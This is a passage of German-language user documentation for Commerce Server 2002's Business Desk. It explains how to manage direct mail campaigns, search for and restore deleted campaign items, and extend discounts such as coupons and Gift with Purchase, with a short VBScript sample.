  • Wenn der SQL Server-Agent während der Ausführung eines geplanten Direct Mailer-Auftrags angehalten wird, wird der Auftrag unterbrochen und kann nicht neu gestartet werden. Wird ein geplanter Auftrag auf diese Weise unterbrochen, gibt es keine Möglichkeit, zu ermitteln, ob bei der Ausführung des Auftrags ein Fehler aufgetreten ist. In diesem Fall sollten Sie zuerst den SQL Server-Agent und anschließend den Direct Mailer-Auftrag erneut starten.

Siehe auch

Erstellen einer Direktsendung


Testen von Direktsendungen

Sie können Ihre Direktsendungen mit einer für diesen Zweck erstellten Adressenliste testen, bevor Sie sie an eine größere Adressenliste senden. Bei diesem Test können Sie darüber hinaus die personalisierten Seiten anzeigen und ggf. korrigieren.

So testen Sie eine Direktsendung

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager die zu testende Direktsendungskampagne aus, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Direktsendungsartikel (Direktsendungs-ID: Nummer) im Feld Testliste des Bereichs Testen die Adressenliste aus, mit der Sie die Direktsendung testen möchten.
  4. Klicken Sie auf Testnachricht versenden.

Direct Mailer versendet daraufhin Nachrichten an die Adressen der ausgewählten Testliste.

Siehe auch

Erstellen einer Direktsendung


Kopieren von Direktsendungen

Sie können eine bereits bestehende Direktsendung kopieren, um so schnell und problemlos zusätzliche Direktsendungen zu einer Kampagne hinzuzufügen. Wenn Sie eine bestehende Direktsendung als Vorlage verwenden, können Sie deren Eigenschaften nach dem Kopieren so anpassen, dass die Anforderungen für die neue Direktsendungskampagne erfüllt sind.

So kopieren Sie eine Direktsendung

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager die zu kopierende Direktsendungskampagne aus, und klicken Sie dann auf der Symbolleiste auf Kopieren.
  3. Führen Sie im Dialogfeld Direktsendungsartikel kopieren die folgenden Schritte aus:
    Funktion | Aktion
    Kunden auswählen | Wählen Sie in der Dropdownliste den Kunden aus, dessen Direktsendungsartikel kopiert werden soll.
    Kampagne auswählen | Wählen Sie in der Dropdownliste die Kampagne aus, deren Direktsendung kopiert werden soll.
  4. Klicken Sie auf OK.
  5. Geben Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Neu (Direktsendung) im Feld Direktsendungsname des Bereichs Direktsendungseigenschaften den Namen der neuen Direktsendung ein.
  6. Bearbeiten Sie ggf. die weiteren Eigenschaften.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Direktsendung zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die neue Direktsendung wird in der Kampagnen-Manager-Struktur unterhalb des ausgewählten Kunden bzw. der ausgewählten Kampagne angezeigt.


Suchen nach Kampagnen

Die Baumstruktur des Kampagnen-Managers kann sehr umfangreich sein. Im Suchbereich des Moduls "Kampagnen-Manager" können Sie mithilfe von Filterkriterien nach Kampagnen suchen. Über Filterkriterien kann die Anzahl der in der Baumstruktur des Kampagnen-Managers angezeigten Elemente verringert werden. Auf diese Weise können Sie Kampagnen einfacher finden und verwalten.

Sie können Kampagnen über Kampagnenartikel, Kundennamen und Status (aktiv oder inaktiv) suchen. Sie können auch nach Kampagnen suchen, die gelöscht wurden. Beim Löschen einer Kampagne wird diese mit ihren Kampagnenartikeln archiviert und kann ggf. wiederhergestellt werden.

So suchen Sie nach einem Kampagnenartikel

So suchen Sie nach einem gelöschten Preisnachlass

So suchen Sie nach einem Kampagnenartikel

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Suchen.
  3. Führen Sie im Suchbereich folgende Schritte aus:
    Funktion | Aktion
    Artikeltyp | Wählen Sie in der Dropdownliste den Typ des Kampagnenartikels aus oder wählen Sie alle Kampagnenartikel über die Option Alle.
    Kunde | Geben Sie den Kundennamen für die Kampagne ein, die Sie suchen möchten.
    Status | Wählen Sie in der Dropdownliste die Option Aktiv oder Alle aus.
    Gelöscht | Wählen Sie in der Dropdownliste die Option Nein oder Beide aus.
    Von | Geben Sie das Anfangsdatum der Kampagne ein, oder wählen Sie es im Dropdownkalender aus.
    Bis | Geben Sie das Beendigungsdatum der Kampagne ein, oder wählen Sie es im Dropdownkalender aus.
  4. Klicken Sie auf Suchen.

Die Kampagnenartikel, die den Filterkriterien entsprechen, werden in der Liste Gefilterte Ansicht angezeigt.

Hinweis

  • Klicken Sie auf Zurücksetzen, um die Standardsuchkriterien wiederherzustellen.

So suchen Sie nach einem gelöschten Preisnachlass

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Suchen.
  3. Führen Sie im Suchbereich folgende Schritte aus:
    Funktion | Aktion
    Artikeltyp | Wählen Sie in der Dropdownliste die Option Preisnachlass aus.
    Kunde | Geben Sie den Namen des Kunden für den Preisnachlass ein.
    Status | Wählen Sie in der Dropdownliste die Option Alle aus.
    Gelöscht | Wählen Sie in der Dropdownliste die Option Beide aus.
    Von | Geben Sie das Anfangsdatum des Preisnachlasses ein, oder wählen Sie es im Dropdownkalender aus.
    Bis | Geben Sie das Beendigungsdatum des Preisnachlasses ein, oder wählen Sie es im Dropdownkalender aus.
  4. Klicken Sie auf Suchen.

Die Kampagnenartikel, die den Filterkriterien entsprechen, werden in der Liste Gefilterte Ansicht angezeigt.

Hinweis

  • Klicken Sie auf Zurücksetzen, um die Standardsuchkriterien wiederherzustellen.

Siehe auch

Informationen zu Kampagnen

Löschen und Wiederherstellen von Kunden, Kampagnen und Kampagnenartikeln


Löschen und Wiederherstellen von Kunden, Kampagnen und Kampagnenartikeln

Mithilfe des Moduls "Kampagnen-Manager" können Sie Kunden, Kampagnen und Kampagnenartikel löschen, wenn diese nicht mehr benötigt werden. Die Inhalte des Kampagnen-Managers sind hierarchisch nach Kunden, Kampagnen und Kampagnenartikeln angeordnet. Wenn Sie Kunden, Kampagnen und Kampagnenartikel löschen, löschen Sie sie vollständig, d. h., Sie löschen den entsprechenden Teilbaum der Struktur vollständig. Wenn Sie beispielsweise einen Kunden löschen, so werden die ihm zugeordneten Kampagnen und Kampagnenartikel ebenfalls gelöscht. Wenn Sie Kampagnenartikel wiederherstellen, sollten Sie auch die diesen Kampagnen untergeordneten Teilstrukturen löschen. Wenn Sie beispielsweise Kampagnenartikel wiederherstellen, sollten Sie sicherstellen, dass untergeordneten Kampagnen- und Kundendatensätze ebenfalls wiederhergestellt werden.

Wenn Sie einen Kunden löschen, wird dieser zusammen mit den entsprechenden Kampagnenartikeln archiviert. Gelöschte Kunden, Kampagnen und Kampagnenartikel können mithilfe des Kampagnen-Managers wiederhergestellt werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Löschen und Wiederherstellen eines Kunden
  • Löschen und Wiederherstellen einer Kampagne
  • Löschen und Wiederherstellen eines Kampagnenartikels


Löschen und Wiederherstellen eines Kunden

Mithilfe des Moduls "Kampagnen-Manager" können Sie Kunden löschen. Gelöschte Kunden werden mit den zugehörigen Kampagnen und Kampagnenartikeln archiviert und lassen sich mithilfe des Kampagnen-Managers wiederherstellen.

So löschen Sie einen Kunden

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager den zu löschenden Kunden aus, und klicken Sie dann auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Löschen auf Ja.

Der Kunde wird aus dem Kampagnen-Manager gelöscht und mit den zugehörigen Kampagnen und Kampagnenartikeln archiviert.

So stellen Sie einen Kunden wieder her

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Suchen.
  3. Führen Sie im Suchbereich folgende Schritte aus:
    Funktion | Aktion
    Kunde Geben Sie den Namen des Kunden ein, der wiederhergestellt werden soll.

    Hinweis

    • Sie können einen Suchbegriff eingeben, um die Suche einzuschränken. Wenn Sie beispielsweise "nt" eingeben, werden nur diejenigen Kunden abgerufen, deren Namen die Zeichenfolge "nt" enthält, wie "Contoso AG" und "Adventure Works".
    Gelöscht | Wählen Sie in der Dropdownliste die Option Beide aus.
  4. Klicken Sie auf Suchen.

    Die Kunden werden in der Liste Gefilterte Ansicht angezeigt. Ihr Status wird als Gelöscht angezeigt.

  5. Wählen Sie in der Liste Gefilterte Ansicht den gewünschten Kunden aus, und klicken Sie anschließend auf der Symbolleiste auf Wiederherstellen.
  6. Klicken Sie im Dialogfeld Wiederherstellen? auf Ja.
  7. Klicken Sie im Suchbereich auf Zurücksetzen, um die Liste Gefilterte Ansicht wiederherzustellen, und klicken Sie anschließend auf die Schaltfläche Suchbereich schließen.

Der Kunde wird wiederhergestellt und in der Liste Gefilterte Ansicht erneut angezeigt.

Siehe auch

Informationen zu Kampagnen

Löschen und Wiederherstellen einer Kampagne

Löschen und Wiederherstellen eines Kampagnenartikels

Suchen nach Kampagnen


Löschen und Wiederherstellen einer Kampagne

Mithilfe des Moduls "Kampagnen-Manager" können Sie Kampagnen löschen. Gelöschte Kampagnen werden mit den zugehörigen Kampagnenartikeln archiviert und lassen sich mithilfe des Kampagnen-Managers wiederherstellen.

So löschen Sie eine Kampagne

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager die zu löschenden Kampagnen aus, und klicken Sie dann auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Löschen? auf Ja.

Der Kampagnenartikel wird aus dem Kampagnen-Manager gelöscht und mit den zugehörigen Kampagnenartikeln archiviert.

So stellen Sie eine Kampagne wieder her

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Suchen.
  3. Führen Sie im Suchbereich folgende Schritte aus:
    Funktion | Aktion
    Kunde | Geben Sie den Kundennamen für die Kampagne ein, die Sie wiederherstellen möchten.
    Gelöscht | Wählen Sie in der Dropdownliste die Option Beide aus.
    Von | Geben Sie das Datum ein, an dem die Kampagne erstellt wurde, oder wählen Sie es im Dropdownkalender aus.
    Bis | Geben Sie das Datum ein, an dem die Kampagne gelöscht wurde, oder wählen Sie es im Dropdownkalender aus.
  4. Klicken Sie auf Suchen.

    Die Kampagnen werden in der Liste Gefilterte Ansicht angezeigt. Ihr Status wird als Gelöscht angezeigt.

  5. Wählen Sie die gewünschte Kampagne aus der Liste Gefilterte Ansicht aus, und klicken Sie dann auf der Symbolleiste auf Wiederherstellen, um der Kampagne erneut den Status Aktiv zuzuweisen.
  6. Klicken Sie im Dialogfeld Wiederherstellen? auf Ja.
  7. Klicken Sie im Suchbereich auf Zurücksetzen, um die Liste Gefilterte Ansicht wiederherzustellen, und klicken Sie anschließend auf die Schaltfläche Suchbereich schließen.

Die Kampagne wird wiederhergestellt und in der Liste Gefilterte Ansicht erneut angezeigt.

Siehe auch

Informationen zu Kampagnen

Löschen und Wiederherstellen eines Kunden

Löschen und Wiederherstellen eines Kampagnenartikels

Suchen nach Kampagnen


Löschen und Wiederherstellen eines Kampagnenartikels

Mit dem Modul "Kampagnen-Manager" können Sie Kampagnenartikel löschen. Gelöschte Kampagnenartikel werden archiviert und lassen sich mithilfe des Kampagnen-Managers wiederherstellen.

So löschen Sie einen Kampagnenartikel

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager den zu löschenden Kampagnenartikel aus, und klicken Sie dann auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Löschen? auf Ja.

Der Kampagnenartikel wird aus dem Kampagnen-Manager gelöscht.

So stellen Sie einen Kampagnenartikel wieder her

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Suchen.
  3. Führen Sie im Suchbereich folgende Schritte aus:
    Funktion | Aktion
    Artikeltyp | Wählen Sie den Kampagnenartikeltyp aus, den Sie wiederherstellen möchten.
    Kunde | Geben Sie den Kundennamen des Kampagnenartikels ein, den Sie wiederherstellen möchten.
    Gelöscht | Wählen Sie in der Dropdownliste die Option Beide aus.
    Von | Geben Sie das Datum ein, an dem der Kampagnenartikel erstellt wurde, oder wählen Sie es im Dropdownkalender aus.
    Bis | Geben Sie das Datum ein, an dem der Kampagnenartikel gelöscht wurde, oder wählen Sie es im Dropdownkalender aus.
  4. Klicken Sie auf Suchen.

    Die Kampagnenartikel werden in der Liste Gefilterte Ansicht angezeigt. Ihr Status wird als Gelöscht angezeigt.

  5. Wählen Sie die gewünschte Kampagne aus der Liste Gefilterte Ansicht aus, und klicken Sie dann auf Wiederherstellen, um dem Kampagnenartikel erneut den Status Aktiv zuzuweisen.
  6. Klicken Sie im Dialogfeld Wiederherstellen? auf Ja.
  7. Klicken Sie im Suchbereich auf Zurücksetzen, um die Liste Gefilterte Ansicht wiederherzustellen, und klicken Sie anschließend auf die Schaltfläche Suchbereich schließen.

Der Kampagnenartikel wird wiederhergestellt und in der Liste Gefilterte Ansicht erneut angezeigt.

Siehe auch

Informationen zu Kampagnen

Löschen und Wiederherstellen eines Kunden

Löschen und Wiederherstellen einer Kampagne

Suchen nach Kampagnen


Erweitern von Kampagnen

Zur Erweiterung der Kampagnenfunktionen kann der Siteentwickler individuelle Anpassungen an Ihrer Site vornehmen. In diesem Abschnitt finden Sie Informationen über Features, die nicht im Lieferumfang von Commerce Server 2002 enthalten sind, aber durch benutzerdefinierten Code hinzugefügt werden können.

Dieser Abschnitt beinhaltet folgende Themen:

  • Preisnachlassliste
  • Coupons
  • Gift with Purchase (GWP)
  • Prozentuale und Festbetragspreisnachlässe für die Frachtkosten
  • Zielgruppenadressierung auf Grundlage von Benutzerlisten


Preisnachlassliste

Es können mehrere Preisnachlässe auf denselben Produktartikel im Warenkorb angewendet werden. Bei diesen Preisnachlässen kann es sich um Preisnachlässe auf Artikelebene, Preisnachlässe auf Bestellebene oder Versandpreisnachlässe handeln. Commerce Server erstellt eine Preisnachlassliste, in der die Informationen über mehrfache Preisnachlässe gespeichert werden, die auf dieselben Posten in einer Bestellung angewendet werden. Informationen zum Aktivieren der Preisnachlassliste finden Sie im Software Development Kit (SDK) von Commerce Server 2002 unter "Discount Sitelet sample" (englisches Thema).

Siehe auch

Informationen zu Kampagnen

Preisnachlässe

Mehrfache Preisnachlässe


Coupons

Zum Anbieten von Coupons kann Ihr Siteentwickler vorhandene "Klick erforderlich"-Preisnachlässe erweitern. Eine Möglichkeit der Implementierung von Preisnachlasscoupons besteht darin, den Couponcode zu überprüfen und dann die entsprechende Kampagnenartikel-ID abzurufen. Der Kampagnenartikel wird daraufhin der Liste für ausgewählte Preisnachlässe (Discounts_clicked) hinzugefügt. Die Couponfunktion kann auch für Bannerwerbung aktiviert werden. Wenn ein Benutzer auf ein Banner klickt, werden dem Warenkorb ein Mehrzweck-Coupon sowie der beworbene Artikel hinzugefügt.

Siehe auch

Informationen zu Kampagnen

Preisnachlässe

Festlegen der Preisnachlassanzeige


Gift with Purchase (GWP)

Gift with Purchase (GWP) ist eine sehr beliebte Möglichkeit der Verkaufsförderung, bei der Benutzer einen Artikel kostenlos dazu bekommen, wenn ihr Warenkorb eine bestimmte Bedingung erfüllt. Zum Beispiel:

Bei Kauf von beliebiger Artikel gibt es 100 Prozent Preisnachlass auf bestimmtes Produkt.

Es gibt zwei Arten von GWP:

  • Nicht im Sitekatalog enthaltene Geschenke

    Diese Auszeichnungsartikel werden nicht im Katalog der Site angezeigt. Wenn ein Benutzer z. B. zehn Päckchen Seife kauft, erhält er gratis eine Probepackung eines Shampoos dazu. Dieses Shampoo ist nicht im Katalog der Site enthalten, wird jedoch als kostenloser Artikel angeboten. Der Preis für den Artikel außerhalb des Sitekatalogs beträgt also null (0) Euro.

  • Geschenke aus dem Sitekatalog

    Diese Auszeichnungsartikel werden im Katalog der Site mit einer Preisangabe angezeigt. Wenn ein Artikel des Sitekatalogs als Geschenk in einen Warenkorb gelegt wird, muss im Preisnachlasssystem ein Preisnachlass von 100 Prozent angewendet werden.

GWP-Preisnachlässe sind nur anwendbar, wenn der Auszeichnungsartikel in den Warenkorb des Benutzers gelegt wurde. Obwohl der Artikel kostenlos ist, wird er nicht automatisch dem Warenkorb hinzugefügt. Daher müssen Sie diese Funktion im Preisnachlasssystem individuell implementieren.

Führen Sie zum Implementieren der GWP-Funktion folgende Schritte aus:

  • Schritt 1: Festlegen der kostenlosen Artikel für einen bestimmten Warenkorb.
  • Schritt 2: Hinzufügen der festgelegten Artikel als Geschenk zum Warenkorb.
  • Schritt 3: Erneutes Anwenden der Preisnachlässe auf den geänderten Warenkorb (dieser Schritt ist nur für Geschenke aus dem Sitekatalog erforderlich).
  • Schritt 4: Weitere Aspekte, die aus Gründen der Konsistenz zusätzlich zu den Schritten zum automatischen Hinzufügen von Artikeln zum Warenkorb beachtet werden müssen.

Im Folgenden wird das Vorgehen in den o. g. Schritten 1 bis 4 erläutert:

Schritt 1: Festlegen der kostenlosen Artikel für einen bestimmten Warenkorb

Im folgenden Codebeispiel wird gezeigt, wie kostenlose Artikel für einen bestimmten Warenkorb festgelegt werden.

' -----------------------------------------------------------------------------
' Free gift retrieving function
' -----------------------------------------------------------------------------

' -----------------------------------------------------------------------------
' getFreeGifts
'
' Description:
' Given an orderform, the function returns the qualifying items which are given away Free.
' GWP (Gift With Purchase) discount =    Any discount which has award as a SINGLE ITEM at 100% off
'            Eg. Buy A, get B at 100% off
'       Buy more than 100$ worth of goods, get B at 100% off
' This function finds out GWP discounts which apply on the ordergroup, and returns the list of free items.
' Parameters:
'            OrderGroup for which the freegifts need to be found out (Commerce.OrderGroup)
'
' Returns:
'            SimpleList of productIDs which are the free Gifts (Commerce.SimpleList)
'
' Notes :
'   1-->This function assumes that there is only a SINGLE orderform by name "default" in the ordergroup
'            2-->The returned simpleList contains the productIDs (DATABASE:: <CATALOG>_CatalogProducts.productID)
'            3-->It is assumed that an expressionStore object has been initialised as an application scope object prior to
'                        calling of this function
'            4-->It is assumed the NAME of the award expression = PRODUCT ID of the item given as award
'                        This is the default behavior of the productPicker tool that comes along with Business Desk.
'                        If this is not desired, the appropriate XML corresponding to the expressionID should be extracted from the
'                        expressionStore, parsed, and the productID has to be found out.
'
'                        ################################ WARNING ###################################
'                        If the EXPRESSION DEFINITION and the EXPRESSION NAME do not match as per the assumption above, it will
'                        lead to inconsistency
'                        Eg.
'                        A123 is the productID for "Perforation Photo Paper 4 inches * 6 inches"
'                        B234 is the productID for "Inkjet Printer model 123"
'       Expression: "productName contains INKJET" is named as "A123". (exprName = A123)
'                                    --------Note that the name of the product A123 DOES NOT CONTAIN "inkjet"----------
'                        This expression is used in the discount:  Buy Anything, get 100% OFF on product matching expression A123
'
'                        The expression A123 is met for any state of the basket(since it is buy anything), and so
'                        A123 will be added FREE to the basket.
'                        This is inconsistent.

' -----------------------------------------------------------------------------
Function getFreeGifts(mscsOrderGrp)
            'Get a list of the discounts the shopper qualifies for, but for which there is
            'no award item (orderform.[_qualifying_discounts])
            'But the list may also contain NON GWP DISCOUNTS. So, GWP discounts have to be separated from others, and returned.

            Dim oOrderForm, oQualifyingDiscounts, oQualifyingDiscount, expressionStore
            Dim freeDiscount, allDiscounts, freeItems, tempExprID
            set freeItems = Server.CreateObject("Commerce.SimpleList")
            set oOrderForm = mscsOrderGrp.Value(ORDERFORMS).Value("default")
            'If the "_qualifying_discounts" key does not exist, then just proceed further, and return the empty simple list
            on error resume next
            set oQualifyingDiscounts = oOrderForm.[_qualifying_discounts]
            if Err.number = 0 then
                        'The expressionStore object has to be initialised before calling this function
                        Set expressionStore       = Application("MSCSExpressionStore")
                        Set allDiscounts = oOrderForm.[_discounts]
                        for each oQualifyingDiscount in oQualifyingDiscounts
                                    '"item_id" key refers to the campaign item ID  (database::: CAMPAIGN_ITEM.i_campitem_id)
                                    Set freeDiscount = allDiscounts.Search("item_id", oQualifyingDiscount)
                                    'Only discounts which are ITEMLEVEL (order_level=0), % OFF (offer_type=2)
                                    ' and 100% OFF (offer_value=100) are chosen
                                    if(freeDiscount.Fields("order_level")=0 and freeDiscount.Fields("offer_type")=2 and freeDiscount.Fields("offer_value")=100) then
                                                'Assuming that the EXPRESSION NAME = PRODUCT ID
                                                tempExprID = freeDiscount.Fields("award_expr")
                                                freeItems.Add(expressionStore.getExprName(tempExprID))
                                    end if
                        next
            End if

            Set getFreeGifts = freeItems

End Function

Schritt 2: Hinzufügen der festgelegten Artikel als Geschenk zum Warenkorb

Legen Sie die festgelegten Artikel als Geschenk in den Warenkorb.

Schritt 3: Erneutes Anwenden der Preisnachlässe auf den geänderten Warenkorb

Im folgenden Codebeispiel wird gezeigt, wie die Seite mit dem Warenkorb aktualisiert wird. Bei der Aktualisierung der Warenkorbseite wird die Preisnachlasspipeline erneut ausgeführt, wodurch der Preisnachlass auf die hinzugefügten Artikel angewendet wird.

If(free gifts added to the basket) {

  Refresh the current page

}

Hinweis

  • Wenn Sie überprüfen möchten, ob die kostenlosen Artikel dem Warenkorb hinzugefügt wurden, führen Sie Schritt 1 aus.

Schritt 4: Weitere zu beachtende Aspekte

In den Schritten 1 bis 3 wurden dem Warenkorb automatisch Artikel hinzugefügt. Aus Gründen der Konsistenz müssen dabei folgende Aspekte beachtet werden:

  • Wenn die Bedingungen für einen Preisnachlass entfallen, werden die Auszeichnungen automatisch entfernt.
  • Wenn ein Benutzer den Geschenkartikel in den Warenkorb legt, wird dieser auch dann nicht aus dem Warenkorb entfernt, wenn der Artikel, der zur Inanspruchnahme des Geschenks berechtigt, aus dem Warenkorb entnommen wird.
  • Benutzer sollten die Option haben, zu entscheiden, ob dem Warenkorb ein kostenloser Artikel hinzugefügt werden soll. Die GWP-Funktion sollte den Artikel nicht immer automatisch hinzufügen. Wenn das Geschenk z. B. nur in bestimmten Größen verfügbar ist, kann der Benutzer entscheiden, dass es nicht geliefert werden soll.

Siehe auch

Informationen zu Kampagnen

Preisnachlässe

Festlegen der Preisnachlassanzeige


Prozentuale und Festbetragspreisnachlässe für die Frachtkosten

Analog zu Preisnachlässen auf Bestellebene werden prozentuale Preisnachlässe und Preisnachlässe in Festbeträgen über mehrere Lieferungen verteilt. Die Komponenten "OrderLevelDiscountApply" und "ShippingDiscountAdjust" verwenden denselben Code, sodass Siteentwickler für die Unterstützung dieser Art des Preisnachlasses benutzerdefinierte Änderungen an Ihrer Site vornehmen können. Informationen zur Komponente "OrderLevelDiscountApply" finden Sie unter OrderLevelDiscountApply. Informationen zur Komponente "ShippingDiscountAdjust" finden Sie unter ShippingDiscountAdjust.

Siehe auch

Informationen zu Kampagnen

Preisnachlässe

Festlegen der Preisnachlassanzeige


Zielgruppenadressierung auf Grundlage von Benutzerlisten

Mithilfe des Systems zur Zielgruppenadressierung in Commerce Server können Sie mit gezielter Verkaufsförderung ein personalisiertes Einkaufserlebnis schaffen und für einen Benutzer in einem bestimmten Kontext den optimalen Inhalt liefern. Sie können z. B. mit Anzeigen gezielt Benutzerinnen ansprechen, die Ihre Site dreimal pro Woche besuchen und drei oder mehr Produkte gekauft haben. Informationen zur Zielgruppenadressierung auf Grundlage von Benutzerlisten finden Sie im Lernprogramm Geschlossene Commerce Server-Systeme.

Siehe auch

Informationen zu Kampagnen

Preisnachlässe

Direktsendungen

Benutzerlisten

Benutzerprofile

Zielgruppenadressierung von Anzeigen

Zielgruppenadressierung und Personalisierung

Erstellen einer Direktsendung

Geschlossene Commerce Server-Systeme


Business Desk-Kataloge

Mithilfe des Katalogmoduls werden Produktkataloge erstellt sowie Produktdaten hinzugefügt und aktualisiert. Als Business-Manager benötigen Sie keine Spezialkenntnisse über die Datenbanken, in denen die Produktdaten gespeichert sind, selbst wenn Sie einen Produktkatalog aus verschiedenen Quellen, z. B. mehreren verschiedenen Lieferanten, zusammenstellen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Workflow für das Erstellen eines Basiskatalogs. Veranschaulicht die Arbeitsabläufe für das Erstellen eines Basiskatalogs.
  • Workflow für das Erstellen eines virtuellen Katalogs. Veranschaulicht die Arbeitsabläufe für das Erstellen eines virtuellen Katalogs.
  • Informationen zu Katalogen. Beschreibt die Komponenten eines Katalogs und gibt eine Übersicht über die Schritte zur Erstellung einer Katalogdefinition.
  • Namens- und Größenbeschränkungen für Kataloge. Führt die Zeichen auf, die beim Zuweisen von Namen zu Katalogen, Eigenschaften, Produkten und Kategorien nicht verwendet werden dürfen.
  • Empfohlene Vorgehensweisen für Kataloge. Beinhaltet wichtige Informationen zum Erstellen und Verwalten von Katalogen.
  • Importieren und Exportieren von Katalogen. Erläutert, wie eine XML-Katalogdatei (Extensible Markup Language; XML) oder eine CSV-Katalogdatei (Comma-separated Values) importiert und ein Katalog für die gemeinsame Nutzung exportiert wird.
  • Erstellen einer Katalogdefinition. Erläutert, wie Kategorie-, Produkt- und Eigenschaftsdefinitionen für einen Katalog festgelegt werden.
  • Erstellen eines Basiskatalogs. Erläutert, wie Sie einen Basiskatalog erstellen. Basiskataloge können mehrsprachig sein.
  • Hinzufügen einer Kategorie zu einem Katalog. Erläutert, wie einem Katalog eine Kategorie hinzugefügt wird.
  • Hinzufügen eines Produkts zu einem Katalog. Erläutert, wie einem Katalog ein Produkt hinzugefügt wird.
  • Hinzufügen von Produktvarianten zu einem Produkt. Erläutert, wie einem Produkt Produktvarianten hinzugefügt werden.
  • Hinzufügen einer Sprache zu einem Katalog. Erläutert, wie einem Katalog mehr als eine Sprache hinzugefügt wird, sodass ein mehrsprachiger Katalog erstellt werden kann.
  • Erstellen eines virtuellen Katalogs. Erläutert, wie ein virtueller Katalog erstellt wird, um mehrere Kataloge zu aggregieren, die dem Benutzer als Einzelkatalog angezeigt werden, um Produktpreise in mehreren Währungen zu berechnen und für spezielle Benutzergruppen Sonderpreise sowie Teilmengen von Produkten anzubieten.
  • Erstellen eines mehrsprachigen Katalogs. Erläutert, wie ein Katalog erstellt wird, in dem die Produktinformationen in mehreren Sprachen angezeigt werden.
  • Übersetzen eines Katalogs mit Business Desk. Erläutert, wie mit dem Katalog-Editor-Modul einige Produkte in einem mehrsprachigen Katalog in andere Sprachen übersetzt werden können.
  • Übersetzen eines Katalogs durch Exportieren/Importieren. Erläutert, wie eine große Anzahl von mehrsprachigen Produkten in andere Sprachen übersetzt wird, indem der Katalog in XML exportiert, der XML-basierte Katalog an einen Übersetzer gesendet und anschließend der übersetzte Katalog in die von Commerce Server genutzte Katalogdatenbank importiert wird.
  • Erstellen eines Katalogsatzes. Erläutert, wie durch Kombinieren mehrerer Kataloge und anschließende Freigabe des Benutzerzugriffs auf den Katalogsatz ein Katalogsatz erstellt werden kann.
  • Preisberechnung für ein Produkt in einem Katalog. Erläutert, wie Produktpreise im Katalog auf Produktebene und auf Produktvariantenebene festgelegt, Preise für Produktgruppen gestaltet, Preise in einem virtuellen Katalog festgelegt und Preise in mehreren Währungen berechnet und angegeben werden.
  • Erstellen von Kategoriehierarchien. Erläutert, wie Hierarchien für Kategorien in einem Katalog erstellt werden, sodass Sie die Kategorien und Produkte in Ihrer Site organisieren können.
  • Erstellen von Kategorie- und Produktbeziehungen. Erläutert, wie in einem Katalog Beziehungen erstellt werden, sodass Sie die Produkte im Katalog organisieren und für Benutzer das Auffinden der gewünschten Produkte erleichtern können.
  • Aktualisieren und Veröffentlichen eines Katalogs. Erläutert, wie Sie Katalogaktualisierungen in Ihrer Website veröffentlichen und wie Sie die Volltextindizes aktualisieren können, sodass die neuen Katalogdaten für die Suchfunktion verfügbar sind.
  • Senden eines Katalogs an einen Handelspartner. Gibt Informationen darüber, wie ein Katalog an einen Handelspartner gesendet wird.
  • Verwalten von Katalogdefinitionen. Erläutert, wie Eigenschafts-, Produkt- und Kategoriedefinitionen bearbeitet und gelöscht werden können.
  • Suchen nach Artikeln in einem Katalog. Erläutert, wie nach Produkten in einem Katalog mithilfe einer Schlüsselwortsuche oder anhand ihrer Eigenschaften gesucht werden kann.
  • Verwalten von Produkten, Kategorien, Katalogen und Katalogsätzen. Erläutert, wie Produkte, Kategorien, Kataloge und Katalogsätze bearbeitet und gelöscht werden können.
  • Verwalten von Kategorie- und Produktbeziehungen. Gibt Informationen darüber, wie Kategorie- und Produktbeziehungen bearbeitet und gelöscht werden.


Workflow für das Erstellen eines Basiskatalogs

Die nachfolgende Abbildung liefert ein Beispielszenario für das Erstellen eines Basiskatalogs. Sie zeigt, wie Sie einen Katalog durch Importieren einer XML-Katalogdatei oder einer CSV-Katalogdatei bzw. durch Erstellen einer Katalogdefinition erstellen können. Außerdem zeigt sie, wie Sie dem Produkt nach dem Erstellen der Katalogdefinition eine Kategorie, ein Produkt und Produktvarianten hinzufügen können. Wenn Sie einen oder mehrere Kataloge erstellt haben, können Sie einen Katalogsatz erstellen. Nachdem Sie Änderungen am Katalog vorgenommen haben, können Sie diesen in Ihrer Website veröffentlichen.

Die nachfolgende Abbildung veranschaulicht den Workflow für das Erstellen eines Basiskatalogs.

